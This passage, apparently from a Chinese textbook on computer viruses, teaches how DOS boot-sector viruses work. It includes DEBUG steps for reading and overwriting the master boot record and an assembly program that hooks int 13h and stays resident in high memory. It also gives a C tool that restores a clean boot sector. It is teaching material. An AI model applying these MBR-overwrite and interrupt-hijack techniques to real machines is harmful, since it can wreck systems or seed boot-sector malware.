2. 实现步骤 (1) 准备系统盘 选择一张软盘,在DOS下执行Format A:/S,表示格式化软盘且向它复制DOS系统文件。 (2) 备份主引导扇区数据到软盘 可以编写一个程序实现,也可以用Debug实现。这样做的目的是,万一系统崩溃了,还可以用软盘启动恢复。如果用Debug,步骤如下: ① 建立一个文件,如ddd.txt,随便输入几个字母,如aaaaaaaaaaaaaa。 ② 使用命令Debug ddd.txt将该文件装载到内存。使用命令d可以看到,文件在内存中位置为126C:0100H~126C:010DH,如图2-11所示。 图2-11 读文件到内存
③ 读主引导扇区数据到内存126C:0100H开始的区域,代码如图2-12所示。因为偏移地址100H~2FFH要用来存放引导扇区数据,故代码从300H开始。
图2-12 读主引导扇区数据 ④ 保存内存数据到文件ddd.txt。操作如图2-13所示。需要注意以下几点: ● 寄存器BX、CX用于保存文件ddd.txt的大小,我们要将新的数据写入,所以必须修改它们。 ● CX修改前的大小为0Eh,这是原来ddd.txt的大小。主引导扇区长512字节,故修改为200H。 ● 命令W用于将当前位置开始(100H)、长度为BX.CX的数据写入文件。
图2-13 保存内存数据到文件 将ddd.txt和Debug.exe复制到格式化后的软盘。假设由于程序原因造成系统崩溃,用软盘启动后运行Debug,用与上面类似的办法将ddd.txt写入主引导扇区。 也可以不备份到文件,用备份到第3扇区的数据覆盖主引导扇区即可。 (3) 移动主引导扇区数据。假设要移动到第3扇区,方法如图2-14所示。也可以另外写一个程序。 (4) 安装新的主引导程序 方法与前面类似。可以编写一个独立程序,首先读文件boot.com的从7C00H开始的200H字节数据到分配的内存,然后将其写入主引导扇区。也可以使用Debug,代码如下:
图2-14 移动主引导扇区数据
C:> Debug boot.com -a 128C:0100 mov ax, 0301 128C:0103 mov bx, 7c00 128C:0106 mov cx, 0001 128C:0109 mov dx, 0080 128C:010C int 13 128C:010E int 20 128C:0110 -g Program terminate normally
2.4 实验2:接管中断程序设计 2.4 实验2:接管中断程序设计 病毒是如何修改中断,使正常程序在调用中断前先执行病毒代码呢?这是本节要讨论的问题。 下面的代码演示了在DOS启动前是病毒如何接管int 13h,使自己的int 13h是如何常驻内存的。其中涉及到了0:413h位置处数据的修改,如何计算自己的int 13h的长度,如何将自己复制到内存高端等内容。
;文件名 BOOT.ASM .MODEL TINY .CODE .STARTUP DB 7B00H DUP(0) ;com格式程序从100H,加7B00H让其从7C00H开始,与引导同 POS1 EQU $ ;POS1等于当前偏移地址 JMP START ;跳过数据部分 db 3bh dup('x') ;放磁盘介质参数 INFO1 DB "HELLO,WORLD",0 COLUMN1 DB 30 ;定义列号,字符从此位置开始 START: mov sp, 7c00h xor ax, ax mov ss, ax mov ds, ax ;滚动屏幕,设置背景色且清除屏幕已有字符 MOV SI,OFFSET INFO1 ;用SI表示字符串偏移地址 MOV AX,0600H MOV DX,184FH ;滚动的行、列数 MOV CX,0 MOV BH,0 ;背景颜色为黑色 INT 10H AGAIN: ;移动光标位置(COLUMN1,10) MOV AH,2 MOV DH,10 MOV DL,COLUMN1 MOV BH,0 INT 10H ;在光标处显示字符 MOV CX,1 MOV AH,9 MOV AL,[SI] MOV BL,12 MOV BH,0 INT 10H INC SI INC COLUMN1 CMP BYTE PTR[SI],0 ;到0结束 JNZ AGAIN ;等待键盘按键,无按键则一直停留在此处 MOV AH,0 INT 16H ;修改int 13h cli ;修改时关闭中断为好 mov ss, ax mov ax, ds:[004ch] mov Old13_offset, ax mov ax, ds:[004eh] mov Old13_seg, ax mov ax, ds:[413h] dec ax dec ax mov ds:[413h], ax mov cl, 06 shl ax, cl mov es, ax mov ds:[004eh], ax mov ax, offset new_int13h sub ax, 7c00h mov ds:[004ch], ax mov cx, int13h_end-7c00h mov si ,7c00h mov di ,0 cld rep movsb sti ;复制自己从0:7C00H到0:600H MOV AX,CS ;设置段地址 MOV ES,AX MOV DS,AX MOV CX,0100H ;复制次数为100H次 MOV DI,600H ;设置目的开始地址 MOV SI,7C00H ;设置源开始地址 REP MOVSW ;每次复制2字节 DB 0EAH ;跳转到复制结束后对应的READ_OLD_SECTOR DW POS2-POS1+600H,0 READ_OLD_SECTOR: ;读硬盘的主引导扇区 POS2 EQU $ xor ax, ax mov ES, ax MOV AX,0201H MOV BX,7C00H MOV CX,1 MOV DX,0100H pushf mov di,offset Old13_offset sub di,7c00h add di, 600h push cs:[di] mov di,offset Old13_seg sub di,7c00h add di, 600h push cs:[di] retf DB 0EAH ;跳转到0:7C00H DW 7C00H,0 int13h_start equ $ new_int13h proc sti push ax push bx push cx push dx push si push di pushf cmp dl, 80h je do_hard cmp dl, 0h je do_floppy mov bx, offset inf3 jmp show_asc do_floppy: mov bx, offset inf1 jmp show_asc do_hard: mov bx, offset inf2 show_asc: mov al, cs:[bx] mov bx, 0 mov ah, 0eh int 10h inc bx cmp byte ptr cs:[bx], 0 jnz show_asc popf pop di pop si pop dx pop cx pop bx pop ax db 0eah Old13_offset dw ? Old13_seg dw ? iret inf1 db "Operate Floppy!",0 inf2 db "Operate HardDisk!",0 inf3 db "Unkown!",0 new_int13h endp int13h_end equ $ DB 0adh DUP('V') ;填充多余空间 DW 0AA55H ;定义引导标志 .EXIT 0 END
2.5 清除病毒程序设计 2.5 清除病毒程序设计 用未被病毒感染的带系统的软盘启动计算机后,用int 13h的功能2在磁盘中寻找被病毒藏匿的原引导扇区代码,用功能3将其回写到原来的位置即可。 以上节的病毒为例,用Turbo C 2.0编写下面的代码来清除该病毒。
/*mloader.c*/ #include "stdlib.h" #include "stdio.h" #include "dos.h" #include "fcntl.h" #include "sys\stat.h" /*这里是自制mbr的机器码512个字节,可以读一台同样机器的*/ char sector[512]={ 0xfa,0x33,0xc0,0x8e,0xd0,0xbc,0x00,0x7c,0x8b,0xf4,0x50,0x07, 0x50,0x1f,0xfb,0xfc,0xbf,0x00,0x06,0xb9,0x00,0x01,0xf2,0xa5, 0xea,0x1d,0x06,0x00,0x00,0xbe,0xbe,0x07,0xb3,0x04,0x80,0x3c, 0x80,0x74,0x0e,0x80,0x3c,0x00,0x75,0x1c,0x83,0xc6,0x10,0xfe, 0xcb,0x75,0xef,0xcd,0x10,0x8b,0x14,0x8b,0x4c,0x02,0x8b,0xee, 0x83,0xc6,0x10,0xfe,0xcb,0x74,0x1a,0x80,0x3c,0x00,0x74,0xf4, 0xbe,0x8b,0x06,0xac,0x3c,0x00,0x74,0x0b,0x56,0xbb,0x07,0x00, 0xb4,0x0e,0xcd,0x10,0x5e,0xeb,0xf0,0xeb,0xfe,0xbf,0x05,0x00, 0xbb,0x00,0x7c,0xb8,0x01,0x02,0x57,0xcd,0x13,0x5f,0x73,0x0c, 0x33,0xc0,0xcd,0x13,0x4f,0x75,0xed,0xbe,0xa1,0x06,0xeb,0xd3, 0xbe,0xc0,0x06,0xbf,0xfe,0x7d,0x81,0x3d,0x55,0xaa,0x75,0xc7, 0x8b,0xf5,0xea,0x00,0x7c,0x00,0x00,0x69,0x6e,0x76,0x61,0x6c, 0x69,0x64,0x20,0x70,0x61,0x72,0x74,0x69,0x6f,0x6e,0x20,0x74, 0x61,0x62,0x6c,0x65,0x00,0x65,0x72,0x72,0x6f,0x72,0x20,0x6c, 0x6f,0x61,0x64,0x69,0x6e,0x67,0x20,0x6f,0x70,0x65,0x72,0x61, 0x74,0x69,0x6e,0x67,0x20,0x73,0x79,0x73,0x74,0x65,0x6d,0x00, 0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x20,0x6f,0x70,0x65,0x72, 0x61,0x74,0x69,0x6e,0x67,0x20,0x73,0x79,0x73,0x74,0x65,0x6d, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xaa }; char buffer[512]; /*复制硬盘分区表的子程序*/ void copypart(char * src,char *dest){ char plength; plength=0x40; while(plength>=0) { *(dest+plength)=*(src+plength); plength--; } } /*本程序将会先备份硬盘的mbr后进行覆盖*/ void main() { char filename[20]; int fp; printf("\nBACKUP FILE NAME:"); scanf("%s",filename); fp=open(filename,O_CREAT|O_BINARY,S_IREAD||S_IWRITE); if(fp==-1){puts("\nFILE OPEN ERROR!");exit(1);} /*读取主引导扇区*/ while((biosdisk(0x02,0x80,0,0,1,1,buffer))!=0); copypart(buffer+0x1be,sector+0x1be); /*call bios disk service */ /*return 0 if successful*/ /*备份Mbr到0面0道3扇和7扇*/ while((biosdisk(0x03,0x80,0,0,3,1,buffer))!=0); while((biosdisk(0x03,0x80,0,0,7,1,buffer))!=0); /*正式覆盖染毒的mbr*/ while((biosdisk(0x03,0x80,0,0,1,1,sector))!=0); /*将染毒的mbr内容备份到文件中,总之此方法一旦不奏效我们还可以恢复到原先状态,*/ write(fp,buffer,512); close(fp); puts("\nInstall O.K."); }
2.6 本章小结 2.6 本 章 小 结 引导型病毒似乎很难再遇到,就像今天的学生基本没用过DOS。但BIOS中断仍然在,引导程序仍然在,只是较少人去关注它。本章的知识既有利于掌握引导型病毒的原理,也有利于认识磁盘,认识系统启动过程,从程序设计的角度掌握引导程序的编写。
2.7 习题 2.7 习 题 1. 试叙述引导型病毒的主要特点。 2. 试验利用Debug编程读出引导扇区,然后反汇编分析。 3. 读出一个硬盘的MBR,然后分析磁盘逻辑分区结构。 4. 试验:先格式化一张软盘,用int 13h修改FAT中的某项为0xFFF7复制尽量多文件,验证其对应的簇是否会被文件使用。 5. 设计一个自己的引导程序,使程序先提示要输入密码,密码正确才能进入系统,否则死机。思考怎么实现。 6. 分析病毒代码是如何复制自己到高端内存,然后修改内存的高端位置标记值的。 7. 将书中接管中断程序设计例子编译成可执行文件,然后安装。再实验在Debug下调用int 13h分别读硬盘与软盘,观察出现的现象。 原文网址: http://book.51cto.com/art/200711/60457.htm
|